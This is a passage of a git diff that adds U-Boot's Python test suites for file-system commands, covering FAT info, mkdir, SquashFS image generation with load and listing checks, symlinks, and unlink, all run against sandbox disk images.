+ output = u_boot_console.run_command('fstypes')
+ assert "Supported filesystems:" in output
+ assert "sandbox" in output
diff --git a/test/py/tests/test_fs/test_fs_fat.py b/test/py/tests/test_fs/test_fs_fat.py
new file mode 100644
index 00000000000..4009d0b63a3
--- /dev/null
+++ b/test/py/tests/test_fs/test_fs_fat.py
@@ -0,0 +1,25 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2023 Weidmüller Interface GmbH & Co. KG
+# Author: Christian Taedcke <christian.taedcke@weidmueller.com>
+#
+# U-Boot File System: FAT Test
+
+"""
+This test verifies fat specific file system behaviour.
+"""
+
+import pytest
+import re
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestFsFat(object):
+ def test_fs_fat1(self, u_boot_console, fs_obj_fat):
+ """Test that `fstypes` prints a result which includes `sandbox`."""
+ fs_type,fs_img = fs_obj_fat
+ with u_boot_console.log.section('Test Case 1 - fatinfo'):
+ # Test Case 1 - ls
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ 'fatinfo host 0:0'])
+ assert(re.search('Filesystem: %s' % fs_type.upper(), ''.join(output)))
diff --git a/test/py/tests/test_fs/test_mkdir.py b/test/py/tests/test_fs/test_mkdir.py
new file mode 100644
index 00000000000..fa9561ec359
--- /dev/null
+++ b/test/py/tests/test_fs/test_mkdir.py
@@ -0,0 +1,121 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi <takahiro.akashi@linaro.org>
+#
+# U-Boot File System:mkdir Test
+
+"""
+This test verifies mkdir operation on file system.
+"""
+
+import pytest
+from fstest_helpers import assert_fs_integrity
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestMkdir(object):
+ def test_mkdir1(self, u_boot_console, fs_obj_mkdir):
+ """
+ Test Case 1 - create a directory under a root
+ """
+ fs_type,fs_img = fs_obj_mkdir
+ with u_boot_console.log.section('Test Case 1 - mkdir'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%smkdir host 0:0 dir1' % fs_type,
+ '%sls host 0:0 /' % fs_type])
+ assert('dir1/' in ''.join(output))
+
+ output = u_boot_console.run_command(
+ '%sls host 0:0 dir1' % fs_type)
+ assert('./' in output)
+ assert('../' in output)
+ assert_fs_integrity(fs_type, fs_img)
+
+
+ def test_mkdir2(self, u_boot_console, fs_obj_mkdir):
+ """
+ Test Case 2 - create a directory under a sub-directory
+ """
+ fs_type,fs_img = fs_obj_mkdir
+ with u_boot_console.log.section('Test Case 2 - mkdir (sub-sub directory)'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%smkdir host 0:0 dir1/dir2' % fs_type,
+ '%sls host 0:0 dir1' % fs_type])
+ assert('dir2/' in ''.join(output))
+
+ output = u_boot_console.run_command(
+ '%sls host 0:0 dir1/dir2' % fs_type)
+ assert('./' in output)
+ assert('../' in output)
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_mkdir3(self, u_boot_console, fs_obj_mkdir):
+ """
+ Test Case 3 - trying to create a directory with a non-existing
+ path should fail
+ """
+ fs_type,fs_img = fs_obj_mkdir
+ with u_boot_console.log.section('Test Case 3 - mkdir (non-existing path)'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%smkdir host 0:0 none/dir3' % fs_type])
+ assert('Unable to create a directory' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_mkdir4(self, u_boot_console, fs_obj_mkdir):
+ """
+ Test Case 4 - trying to create "." should fail
+ """
+ fs_type,fs_img = fs_obj_mkdir
+ with u_boot_console.log.section('Test Case 4 - mkdir (".")'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%smkdir host 0:0 .' % fs_type])
+ assert('Unable to create a directory' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_mkdir5(self, u_boot_console, fs_obj_mkdir):
+ """
+ Test Case 5 - trying to create ".." should fail
+ """
+ fs_type,fs_img = fs_obj_mkdir
+ with u_boot_console.log.section('Test Case 5 - mkdir ("..")'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%smkdir host 0:0 ..' % fs_type])
+ assert('Unable to create a directory' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_mkdir6(self, u_boot_console, fs_obj_mkdir):
+ """
+ 'Test Case 6 - create as many directories as amount of directory
+ entries goes beyond a cluster size)'
+ """
+ fs_type,fs_img = fs_obj_mkdir
+ with u_boot_console.log.section('Test Case 6 - mkdir (create many)'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%smkdir host 0:0 dir6' % fs_type,
+ '%sls host 0:0 /' % fs_type])
+ assert('dir6/' in ''.join(output))
+
+ for i in range(0, 20):
+ output = u_boot_console.run_command(
+ '%smkdir host 0:0 dir6/0123456789abcdef%02x'
+ % (fs_type, i))
+ output = u_boot_console.run_command('%sls host 0:0 dir6' % fs_type)
+ assert('0123456789abcdef00/' in output)
+ assert('0123456789abcdef13/' in output)
+
+ output = u_boot_console.run_command(
+ '%sls host 0:0 dir6/0123456789abcdef13/.' % fs_type)
+ assert('./' in output)
+ assert('../' in output)
+
+ output = u_boot_console.run_command(
+ '%sls host 0:0 dir6/0123456789abcdef13/..' % fs_type)
+ assert('0123456789abcdef00/' in output)
+ assert('0123456789abcdef13/' in output)
+ assert_fs_integrity(fs_type, fs_img)
diff --git a/test/py/tests/test_fs/test_squashfs/sqfs_common.py b/test/py/tests/test_fs/test_squashfs/sqfs_common.py
new file mode 100644
index 00000000000..d1621dcce3a
--- /dev/null
+++ b/test/py/tests/test_fs/test_squashfs/sqfs_common.py
@@ -0,0 +1,204 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Bootlin
+# Author: Joao Marcos Costa <joaomarcos.costa@bootlin.com>
+
+import os
+import shutil
+import subprocess
+
+""" standard test images table: Each table item is a key:value pair
+representing the output image name and its respective mksquashfs options.
+This table should be modified only when adding support for new compression
+algorithms. The 'default' case takes no options but the input and output
+names, so it must be assigned with an empty string.
+"""
+STANDARD_TABLE = {
+ 'default' : '',
+ 'lzo_comp_frag' : '',
+ 'lzo_frag' : '',
+ 'lzo_no_frag' : '',
+ 'zstd_comp_frag' : '',
+ 'zstd_frag' : '',
+ 'zstd_no_frag' : '',
+ 'gzip_comp_frag' : '',
+ 'gzip_frag' : '',
+ 'gzip_no_frag' : ''
+}
+
+""" EXTRA_TABLE: Set this table's keys and values if you want to make squashfs
+images with your own customized options.
+"""
+EXTRA_TABLE = {}
+
+# path to source directory used to make squashfs test images
+SQFS_SRC_DIR = 'sqfs_src_dir'
+
+def get_opts_list():
+ """ Combines fragmentation and compression options into a list of strings.
+
+ opts_list's firts item is an empty string as STANDARD_TABLE's first item is
+ the 'default' case.
+
+ Returns:
+ A list of strings whose items are formed by a compression and a
+ fragmentation option joined by a whitespace.
+ """
+ # supported compression options only
+ comp_opts = ['-comp lzo', '-comp zstd', '-comp gzip']
+ # file fragmentation options
+ frag_opts = ['-always-use-fragments', '-always-use-fragments -noF', '-no-fragments']
+
+ opts_list = [' ']
+ for comp_opt in comp_opts:
+ for frag_opt in frag_opts:
+ opts_list.append(' '.join([comp_opt, frag_opt]))
+
+ return opts_list
+
+def init_standard_table():
+ """ Initializes STANDARD_TABLE values.
+
+ STANDARD_TABLE's keys are pre-defined, and init_standard_table() assigns
+ the right value for each one of them.
+ """
+ opts_list = get_opts_list()
+
+ for key, value in zip(STANDARD_TABLE.keys(), opts_list):
+ STANDARD_TABLE[key] = value
+
+def generate_file(file_name, file_size):
+ """ Generates a file filled with 'x'.
+
+ Args:
+ file_name: the file's name.
+ file_size: the content's length and therefore the file size.
+ """
+ content = 'x' * file_size
+
+ file = open(file_name, 'w')
+ file.write(content)
+ file.close()
+
+def generate_sqfs_src_dir(build_dir):
+ """ Generates the source directory used to make the SquashFS images.
+
+ The source directory is generated at build_dir, and it has the following
+ structure:
+ sqfs_src_dir/
+ ├── empty-dir/
+ ├── f1000
+ ├── f4096
+ ├── f5096
+ ├── subdir/
+ │   └── subdir-file
+ └── sym -> subdir
+
+ 3 directories, 4 files
+
+ The files in the root dir. are prefixed with an 'f' followed by its size.
+
+ Args:
+ build_dir: u-boot's build-sandbox directory.
+ """
+
+ root = os.path.join(build_dir, SQFS_SRC_DIR)
+ # make root directory
+ os.makedirs(root)
+
+ # 4096: minimum block size
+ file_name = 'f4096'
+ generate_file(os.path.join(root, file_name), 4096)
+
+ # 5096: minimum block size + 1000 chars (fragment)
+ file_name = 'f5096'
+ generate_file(os.path.join(root, file_name), 5096)
+
+ # 1000: less than minimum block size (fragment only)
+ file_name = 'f1000'
+ generate_file(os.path.join(root, file_name), 1000)
+
+ # sub-directory with a single file inside
+ subdir_path = os.path.join(root, 'subdir')
+ os.makedirs(subdir_path)
+ generate_file(os.path.join(subdir_path, 'subdir-file'), 100)
+
+ # symlink (target: sub-directory)
+ os.symlink('subdir', os.path.join(root, 'sym'))
+
+ # empty directory
+ os.makedirs(os.path.join(root, 'empty-dir'))
+
+def mksquashfs(args):
+ """ Runs mksquashfs command.
+
+ Args:
+ args: mksquashfs options (e.g.: compression and fragmentation).
+ """
+ subprocess.run(['mksquashfs ' + args], shell=True, check=True,
+ stdout=subprocess.DEVNULL)
+
+def get_mksquashfs_version():
+ """ Parses the output of mksquashfs -version.
+
+ Returns:
+ mksquashfs's version as a float.
+ """
+ out = subprocess.run(['mksquashfs -version'], shell=True, check=True,
+ capture_output=True, text=True)
+ # 'out' is: mksquashfs version X (yyyy/mm/dd) ...
+ return out.stdout.split()[2].split('.')[0:2]
+
+def check_mksquashfs_version():
+ """ Checks if mksquashfs meets the required version. """
+
+ version = get_mksquashfs_version();
+ if int(version[0]) < 4 or int(version[0]) == 4 and int(version[1]) < 4 :
+ print('Error: mksquashfs is too old, required version: 4.4')
+ raise AssertionError
+
+def make_all_images(build_dir):
+ """ Makes the SquashFS images used in the test suite.
+
+ The image names and respective mksquashfs options are defined in STANDARD_TABLE
+ and EXTRA_TABLE. The destination is defined by 'build_dir'.
+
+ Args:
+ build_dir: u-boot's build-sandbox directory.
+ """
+
+ init_standard_table()
+ input_path = os.path.join(build_dir, SQFS_SRC_DIR)
+
+ # make squashfs images according to STANDARD_TABLE
+ for out, opts in zip(STANDARD_TABLE.keys(), STANDARD_TABLE.values()):
+ output_path = os.path.join(build_dir, out)
+ mksquashfs(' '.join([input_path, output_path, opts]))
+
+ # make squashfs images according to EXTRA_TABLE
+ for out, opts in zip(EXTRA_TABLE.keys(), EXTRA_TABLE.values()):
+ output_path = os.path.join(build_dir, out)
+ mksquashfs(' '.join([input_path, output_path, opts]))
+
+def clean_all_images(build_dir):
+ """ Deletes the SquashFS images at build_dir.
+
+ Args:
+ build_dir: u-boot's build-sandbox directory.
+ """
+
+ for image_name in STANDARD_TABLE:
+ image_path = os.path.join(build_dir, image_name)
+ os.remove(image_path)
+
+ for image_name in EXTRA_TABLE:
+ image_path = os.path.join(build_dir, image_name)
+ os.remove(image_path)
+
+def clean_sqfs_src_dir(build_dir):
+ """ Deletes the source directory at build_dir.
+
+ Args:
+ build_dir: u-boot's build-sandbox directory.
+ """
+ path = os.path.join(build_dir, SQFS_SRC_DIR)
+ shutil.rmtree(path)
diff --git a/test/py/tests/test_fs/test_squashfs/test_sqfs_load.py b/test/py/tests/test_fs/test_squashfs/test_sqfs_load.py
new file mode 100644
index 00000000000..6ec6ccec6c9
--- /dev/null
+++ b/test/py/tests/test_fs/test_squashfs/test_sqfs_load.py
@@ -0,0 +1,154 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Bootlin
+# Author: Joao Marcos Costa <joaomarcos.costa@bootlin.com>
+
+import os
+import subprocess
+import pytest
+
+from sqfs_common import SQFS_SRC_DIR, STANDARD_TABLE
+from sqfs_common import generate_sqfs_src_dir, make_all_images
+from sqfs_common import clean_sqfs_src_dir, clean_all_images
+from sqfs_common import check_mksquashfs_version
+
+@pytest.mark.requiredtool('md5sum')
+def original_md5sum(path):
+ """ Runs md5sum command.
+
+ Args:
+ path: path to original file.
+ Returns:
+ The original file's checksum as a string.
+ """
+
+ out = subprocess.run(['md5sum ' + path], shell=True, check=True,
+ capture_output=True, text=True)
+ checksum = out.stdout.split()[0]
+
+ return checksum
+
+def uboot_md5sum(u_boot_console, address, count):
+ """ Runs U-Boot's md5sum command.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ address: address where the file was loaded (e.g.: $kernel_addr_r).
+ count: file's size. It was named 'count' to match md5sum's respective
+ argument name.
+ Returns:
+ The checksum of the file loaded with sqfsload as a string.
+ """
+
+ out = u_boot_console.run_command('md5sum {} {}'.format(address, count))
+ checksum = out.split()[-1]
+
+ return checksum
+
+def sqfs_load_files(u_boot_console, files, sizes, address):
+ """ Loads files and asserts their checksums.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ files: list of files to be loaded.
+ sizes: the sizes of each file.
+ address: the address where the files should be loaded.
+ """
+ build_dir = u_boot_console.config.build_dir
+ for (file, size) in zip(files, sizes):
+ out = u_boot_console.run_command('sqfsload host 0 {} {}'.format(address, file))
+
+ # check if the right amount of bytes was read
+ assert size in out
+
+ # compare original file's checksum against u-boot's
+ u_boot_checksum = uboot_md5sum(u_boot_console, address, hex(int(size)))
+ original_file_path = os.path.join(build_dir, SQFS_SRC_DIR + '/' + file)
+ original_checksum = original_md5sum(original_file_path)
+ assert u_boot_checksum == original_checksum
+
+def sqfs_load_files_at_root(u_boot_console):
+ """ Calls sqfs_load_files passing the files at the SquashFS image's root.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+
+ files = ['f4096', 'f5096', 'f1000']
+ sizes = ['4096', '5096', '1000']
+ address = '$kernel_addr_r'
+ sqfs_load_files(u_boot_console, files, sizes, address)
+
+def sqfs_load_files_at_subdir(u_boot_console):
+ """ Calls sqfs_load_files passing the files at the SquashFS image's subdir.
+
+ This test checks if the path resolution works, since the file is not at the
+ root directory.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ files = ['subdir/subdir-file']
+ sizes = ['100']
+ address = '$kernel_addr_r'
+ sqfs_load_files(u_boot_console, files, sizes, address)
+
+def sqfs_load_non_existent_file(u_boot_console):
+ """ Calls sqfs_load_files passing an non-existent file to raise an error.
+
+ This test checks if the SquashFS support won't crash if it doesn't find the
+ specified file.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ address = '$kernel_addr_r'
+ file = 'non-existent'
+ out = u_boot_console.run_command('sqfsload host 0 {} {}'.format(address, file))
+ assert 'Failed to load' in out
+
+def sqfs_run_all_load_tests(u_boot_console):
+ """ Runs all the previously defined test cases.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ sqfs_load_files_at_root(u_boot_console)
+ sqfs_load_files_at_subdir(u_boot_console)
+ sqfs_load_non_existent_file(u_boot_console)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+@pytest.mark.buildconfigspec('cmd_squashfs')
+@pytest.mark.buildconfigspec('fs_squashfs')
+@pytest.mark.requiredtool('mksquashfs')
+def test_sqfs_load(u_boot_console):
+ """ Executes the sqfsload test suite.
+
+ First, it generates the SquashFS images, then it runs the test cases and
+ finally cleans the workspace. If an exception is raised, the workspace is
+ cleaned before exiting.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ build_dir = u_boot_console.config.build_dir
+
+ # setup test environment
+ check_mksquashfs_version()
+ generate_sqfs_src_dir(build_dir)
+ make_all_images(build_dir)
+
+ # run all tests for each image
+ for image in STANDARD_TABLE:
+ try:
+ image_path = os.path.join(build_dir, image)
+ u_boot_console.run_command('host bind 0 {}'.format(image_path))
+ sqfs_run_all_load_tests(u_boot_console)
+ except:
+ clean_all_images(build_dir)
+ clean_sqfs_src_dir(build_dir)
+ raise AssertionError
+
+ # clean test environment
+ clean_all_images(build_dir)
+ clean_sqfs_src_dir(build_dir)
diff --git a/test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py b/test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py
new file mode 100644
index 00000000000..a20a7d1a663
--- /dev/null
+++ b/test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py
@@ -0,0 +1,148 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Bootlin
+# Author: Joao Marcos Costa <joaomarcos.costa@bootlin.com>
+
+import os
+import pytest
+
+from sqfs_common import STANDARD_TABLE
+from sqfs_common import generate_sqfs_src_dir, make_all_images
+from sqfs_common import clean_sqfs_src_dir, clean_all_images
+from sqfs_common import check_mksquashfs_version
+
+def sqfs_ls_at_root(u_boot_console):
+ """ Runs sqfsls at image's root.
+
+ This test checks if all the present files and directories were listed. Also,
+ it checks if passing the slash or not changes the output, which it shouldn't.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+
+ no_slash = u_boot_console.run_command('sqfsls host 0')
+ slash = u_boot_console.run_command('sqfsls host 0 /')
+ assert no_slash == slash
+
+ expected_lines = ['empty-dir/', '1000 f1000', '4096 f4096', '5096 f5096',
+ 'subdir/', '<SYM> sym', '4 file(s), 2 dir(s)']
+
+ output = u_boot_console.run_command('sqfsls host 0')
+ for line in expected_lines:
+ assert line in output
+
+def sqfs_ls_at_empty_dir(u_boot_console):
+ """ Runs sqfsls at an empty directory.
+
+ This tests checks if sqfsls will print anything other than the 'Empty directory'
+ message.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ assert u_boot_console.run_command('sqfsls host 0 empty-dir') == 'Empty directory.'
+
+def sqfs_ls_at_subdir(u_boot_console):
+ """ Runs sqfsls at the SquashFS image's subdir.
+
+ This test checks if the path resolution works, since the directory is not the
+ root.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ expected_lines = ['100 subdir-file', '1 file(s), 0 dir(s)']
+ output = u_boot_console.run_command('sqfsls host 0 subdir')
+ for line in expected_lines:
+ assert line in output
+
+def sqfs_ls_at_symlink(u_boot_console):
+ """ Runs sqfsls at a SquashFS image's symbolic link.
+
+ This test checks if the symbolic link's target resolution works.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ # since sym -> subdir, the following outputs must be equal
+ output = u_boot_console.run_command('sqfsls host 0 sym')
+ output_subdir = u_boot_console.run_command('sqfsls host 0 subdir')
+ assert output == output_subdir
+
+ expected_lines = ['100 subdir-file', '1 file(s), 0 dir(s)']
+ for line in expected_lines:
+ assert line in output
+
+def sqfs_ls_at_non_existent_dir(u_boot_console):
+ """ Runs sqfsls at a file and at a non-existent directory.
+
+ This test checks if the SquashFS support won't crash if it doesn't find the
+ specified directory or if it takes a file as an input instead of an actual
+ directory. In both cases, the output should be the same.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ out_non_existent = u_boot_console.run_command('sqfsls host 0 fff')
+ out_not_dir = u_boot_console.run_command('sqfsls host 0 f1000')
+ assert out_non_existent == out_not_dir
+ assert '** Cannot find directory. **' in out_non_existent
+
+def sqfs_run_all_ls_tests(u_boot_console):
+ """ Runs all the previously defined test cases.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ sqfs_ls_at_root(u_boot_console)
+ sqfs_ls_at_empty_dir(u_boot_console)
+ sqfs_ls_at_subdir(u_boot_console)
+ sqfs_ls_at_symlink(u_boot_console)
+ sqfs_ls_at_non_existent_dir(u_boot_console)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+@pytest.mark.buildconfigspec('cmd_squashfs')
+@pytest.mark.buildconfigspec('fs_squashfs')
+@pytest.mark.requiredtool('mksquashfs')
+@pytest.mark.singlethread
+def test_sqfs_ls(u_boot_console):
+ """ Executes the sqfsls test suite.
+
+ First, it generates the SquashFS images, then it runs the test cases and
+ finally cleans the workspace. If an exception is raised, the workspace is
+ cleaned before exiting.
+
+ Args:
+ u_boot_console: provides the means to interact with U-Boot's console.
+ """
+ build_dir = u_boot_console.config.build_dir
+
+ # If the EFI subsystem is enabled and initialized, EFI subsystem tries to
+ # add EFI boot option when the new disk is detected. If there is no EFI
+ # System Partition exists, EFI subsystem outputs error messages and
+ # it ends up with test failure.
+ # Restart U-Boot to clear the previous state.
+ # TODO: Ideally EFI test cases need to be fixed, but it will
+ # increase the number of system reset.
+ u_boot_console.restart_uboot()
+
+ # setup test environment
+ check_mksquashfs_version()
+ generate_sqfs_src_dir(build_dir)
+ make_all_images(build_dir)
+
+ # run all tests for each image
+ for image in STANDARD_TABLE:
+ try:
+ image_path = os.path.join(build_dir, image)
+ u_boot_console.run_command('host bind 0 {}'.format(image_path))
+ sqfs_run_all_ls_tests(u_boot_console)
+ except:
+ clean_all_images(build_dir)
+ clean_sqfs_src_dir(build_dir)
+ raise AssertionError
+
+ # clean test environment
+ clean_all_images(build_dir)
+ clean_sqfs_src_dir(build_dir)
diff --git a/test/py/tests/test_fs/test_symlink.py b/test/py/tests/test_fs/test_symlink.py
new file mode 100644
index 00000000000..9ced101a294
--- /dev/null
+++ b/test/py/tests/test_fs/test_symlink.py
@@ -0,0 +1,130 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2019, Texas Instrument
+# Author: Jean-Jacques Hiblot <jjhiblot@ti.com>
+#
+# U-Boot File System:symlink Test
+
+"""
+This test verifies unlink operation (deleting a file or a directory)
+on file system.
+"""
+
+import pytest
+import re
+from fstest_defs import *
+from fstest_helpers import assert_fs_integrity
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestSymlink(object):
+ def test_symlink1(self, u_boot_console, fs_obj_symlink):
+ """
+ Test Case 1 - create a link. and follow it when reading
+ """
+ fs_type, fs_img, md5val = fs_obj_symlink
+ with u_boot_console.log.section('Test Case 1 - create link and read'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ 'setenv filesize',
+ 'ln host 0:0 %s /%s.link ' % (SMALL_FILE, SMALL_FILE),
+ ])
+ assert('' in ''.join(output))
+
+ output = u_boot_console.run_command_list([
+ '%sload host 0:0 %x /%s.link' % (fs_type, ADDR, SMALL_FILE),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 4b - Read full 1MB of small file
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_symlink2(self, u_boot_console, fs_obj_symlink):
+ """
+ Test Case 2 - create chained links
+ """
+ fs_type, fs_img, md5val = fs_obj_symlink
+ with u_boot_console.log.section('Test Case 2 - create chained links'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ 'setenv filesize',
+ 'ln host 0:0 %s /%s.link1 ' % (SMALL_FILE, SMALL_FILE),
+ 'ln host 0:0 /%s.link1 /SUBDIR/%s.link2' % (
+ SMALL_FILE, SMALL_FILE),
+ 'ln host 0:0 SUBDIR/%s.link2 /%s.link3' % (
+ SMALL_FILE, SMALL_FILE),
+ ])
+ assert('' in ''.join(output))
+
+ output = u_boot_console.run_command_list([
+ '%sload host 0:0 %x /%s.link3' % (fs_type, ADDR, SMALL_FILE),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 4b - Read full 1MB of small file
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_symlink3(self, u_boot_console, fs_obj_symlink):
+ """
+ Test Case 3 - replace file/link with link
+ """
+ fs_type, fs_img, md5val = fs_obj_symlink
+ with u_boot_console.log.section('Test Case 1 - create link and read'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ 'setenv filesize',
+ 'ln host 0:0 %s /%s ' % (MEDIUM_FILE, SMALL_FILE),
+ 'ln host 0:0 %s /%s.link ' % (MEDIUM_FILE, MEDIUM_FILE),
+ ])
+ assert('' in ''.join(output))
+
+ output = u_boot_console.run_command_list([
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+ 'printenv filesize'])
+ assert('filesize=a00000' in ''.join(output))
+
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[1] in ''.join(output))
+
+ output = u_boot_console.run_command_list([
+ 'ln host 0:0 %s.link /%s ' % (MEDIUM_FILE, SMALL_FILE),
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+ 'printenv filesize'])
+ assert('filesize=a00000' in ''.join(output))
+
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[1] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_symlink4(self, u_boot_console, fs_obj_symlink):
+ """
+ Test Case 4 - create a broken link
+ """
+ fs_type, fs_img, md5val = fs_obj_symlink
+ with u_boot_console.log.section('Test Case 1 - create link and read'):
+
+ output = u_boot_console.run_command_list([
+ 'setenv filesize',
+ 'ln host 0:0 nowhere /link ',
+ ])
+ assert('' in ''.join(output))
+
+ output = u_boot_console.run_command(
+ '%sload host 0:0 %x /link' %
+ (fs_type, ADDR))
+ with u_boot_console.disable_check('error_notification'):
+ output = u_boot_console.run_command('printenv filesize')
+ assert('"filesize" not defined' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
diff --git a/test/py/tests/test_fs/test_unlink.py b/test/py/tests/test_fs/test_unlink.py
new file mode 100644
index 00000000000..97aafc63bb5
--- /dev/null
+++ b/test/py/tests/test_fs/test_unlink.py
@@ -0,0 +1,118 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi <takahiro.akashi@linaro.org>
+#
+# U-Boot File System:unlink Test
+
+"""
+This test verifies unlink operation (deleting a file or a directory)
+on file system.
+"""
+
+import pytest
+from fstest_helpers import assert_fs_integrity
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestUnlink(object):
+ def test_unlink1(self, u_boot_console, fs_obj_unlink):
+ """
+ Test Case 1 - delete a file
+ """
+ fs_type,fs_img = fs_obj_unlink
+ with u_boot_console.log.section('Test Case 1 - unlink (file)'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%srm host 0:0 dir1/file1' % fs_type,
+ '%sls host 0:0 dir1/file1' % fs_type])
+ assert('' == ''.join(output))
+
+ output = u_boot_console.run_command(
+ '%sls host 0:0 dir1/' % fs_type)
+ assert(not 'file1' in output)
+ assert('file2' in output)
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_unlink2(self, u_boot_console, fs_obj_unlink):
+ """
+ Test Case 2 - delete many files
+ """
+ fs_type,fs_img = fs_obj_unlink
+ with u_boot_console.log.section('Test Case 2 - unlink (many)'):
+ output = u_boot_console.run_command('host bind 0 %s' % fs_img)
+
+ for i in range(0, 20):
+ output = u_boot_console.run_command_list([
+ '%srm host 0:0 dir2/0123456789abcdef%02x' % (fs_type, i),
+ '%sls host 0:0 dir2/0123456789abcdef%02x' % (fs_type, i)])
+ assert('' == ''.join(output))
+
+ output = u_boot_console.run_command(
+ '%sls host 0:0 dir2' % fs_type)
+ assert('0 file(s), 2 dir(s)' in output)
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_unlink3(self, u_boot_console, fs_obj_unlink):
+ """
+ Test Case 3 - trying to delete a non-existing file should fail
+ """
+ fs_type,fs_img = fs_obj_unlink
+ with u_boot_console.log.section('Test Case 3 - unlink (non-existing)'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%srm host 0:0 dir1/nofile' % fs_type])
+ assert('nofile: doesn\'t exist' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_unlink4(self, u_boot_console, fs_obj_unlink):
+ """
+ Test Case 4 - delete an empty directory
+ """
+ fs_type,fs_img = fs_obj_unlink
+ with u_boot_console.log.section('Test Case 4 - unlink (directory)'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%srm host 0:0 dir4' % fs_type])
+ assert('' == ''.join(output))
+
+ output = u_boot_console.run_command(
+ '%sls host 0:0 /' % fs_type)
+ assert(not 'dir4' in output)
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_unlink5(self, u_boot_console, fs_obj_unlink):
+ """
+ Test Case 5 - trying to deleting a non-empty directory ".."
+ should fail
+ """
+ fs_type,fs_img = fs_obj_unlink
+ with u_boot_console.log.section('Test Case 5 - unlink ("non-empty directory")'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%srm host 0:0 dir5' % fs_type])
+ assert('directory is not empty' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_unlink6(self, u_boot_console, fs_obj_unlink):
+ """
+ Test Case 6 - trying to deleting a "." should fail
+ """
+ fs_type,fs_img = fs_obj_unlink
+ with u_boot_console.log.section('Test Case 6 - unlink (".")'):
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%srm host 0:0 dir5/.' % fs_type])
+ assert('directory is not empty' in ''.join(output))
